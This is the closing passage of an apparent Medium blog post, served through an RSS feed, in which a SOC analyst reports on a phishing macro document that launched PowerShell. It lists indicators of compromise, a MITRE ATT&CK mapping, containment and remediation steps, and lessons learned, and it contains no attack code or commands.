compromise.</p><p>The MITRE ATT&amp;CK framework maps this kind of user-triggered document execution to <strong>User Execution: Malicious File (T1204.002)</strong> and PowerShell abuse to <strong>Command and Scripting Interpreter: PowerShell (T1059.001)</strong>, which helps describe the attack path in a standard defensive language.</p><blockquote><strong><em>Analyst note:</em></strong><em> In many malware investigations, the document is only the delivery mechanism. The real objective appears once PowerShell starts reaching outward or staging follow-on activity.</em></blockquote><h3>Indicators of Compromise (IOCs)</h3><p>The following indicators were identified during the investigation:</p><pre>IOC Type                   Value<br>Malicious Document         edit1-invoice.docm<br>ZIP Archive                edit1-invoice.docm.zip<br>Hash                       1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0<br>Affected User              Jayne<br>Suspicious Parent Process  WINWORD.EXE<br>Suspicious Child Process   powershell.exe</pre><p>These artifacts can be leveraged for:</p><ul><li>enterprise-wide threat hunting,</li><li>SIEM correlation,</li><li>IOC blocking,</li><li>endpoint detection tuning.</li></ul><h3>MITRE ATT&amp;CK Mapping</h3><p>This incident aligns closely with several ATT&amp;CK techniques commonly associated with phishing-delivered malware campaigns.</p><pre>Tactic         - Technique                         - ID<br>Initial Access - Phishing Attachment               - T1566.001 <br>Execution      - User Execution:Malicious File     - T1204.002 <br>Execution      - PowerShell                        - T1059.001 <br>Defense Evasion- Obfuscated Files/Information      - T1027 <br>Persistence    -  Registry Run Keys/Startup Folder - T1547.001</pre><p>Mapping incidents to MITRE ATT&amp;CK helps transform isolated alerts into standardized attack narratives that defenders can recognize and operationalize.</p><h3>Threat Assessment</h3><p>Based on the investigation findings, this incident should be classified as a <strong>True Positive malware execution event</strong>.</p><p>The investigation identified:</p><ul><li>phishing-based delivery,</li><li>malicious Office macro execution,</li><li>suspicious process creation,</li><li>PowerShell abuse,</li><li>signs of follow-on activity.</li></ul><p>The behavioral evidence strongly supports malicious intent rather than benign user activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFTd0Quzx6cI1AuxirDl5g.png" /><figcaption>Affected user Containment</figcaption></figure><h3>Containment and Remediation</h3><h3>Immediate Response Actions</h3><ul><li>Isolate the affected endpoint</li><li>Terminate suspicious PowerShell processes</li><li>Remove malicious documents and payloads</li><li>Review persistence mechanisms</li><li>Investigate additional endpoint activity</li><li>Reset potentially exposed credentials</li></ul><h3>Long-Term Security Improvements</h3><ul><li>Disable Office macros from untrusted sources</li><li>Enforce attachment scanning policies</li><li>Block password-protected archives where feasible</li><li>Enhance PowerShell logging and monitoring</li><li>Deploy EDR detections for Office-to-PowerShell behavior</li><li>Conduct phishing awareness training</li></ul><h3>Lessons Learned</h3><p>This case reinforces several important defensive security lessons.</p><h3>1. Office Macros Remain Dangerous</h3><p>Attackers continue abusing trusted Office functionality because user interaction remains one of the weakest security controls.</p><h3>2. PowerShell Telemetry Is Critical</h3><p>PowerShell often exposes the transition from initial execution to active compromise and should be closely monitored.</p><h3>3. Process Lineage Matters</h3><p>Correlating:</p><ul><li>email context,</li><li>file reputation,</li><li>process chains,</li><li>endpoint activity</li></ul><p>provides a far clearer investigative picture than isolated alerts alone.</p><h3>Final Verdict</h3><p>This investigation confirmed a phishing-delivered malicious macro execution chain involving a weaponized Office document and suspicious PowerShell activity.</p><p>The attack relied on:</p><ul><li>social engineering,</li><li>macro-enabled Office execution,</li><li>native Windows tooling,</li><li>PowerShell-based follow-on activity.</li></ul><p>This case demonstrates how traditional phishing techniques continue to remain highly effective when paired with trusted system processes and user interaction.</p><p>From a SOC analyst&#39;s perspective, the investigation highlights the importance of:</p><ul><li>behavioral analysis,</li><li>process lineage tracking,</li><li>PowerShell monitoring,</li><li>ATT&amp;CK-based incident mapping,</li><li>and rapid endpoint containment.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a4471adddbd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>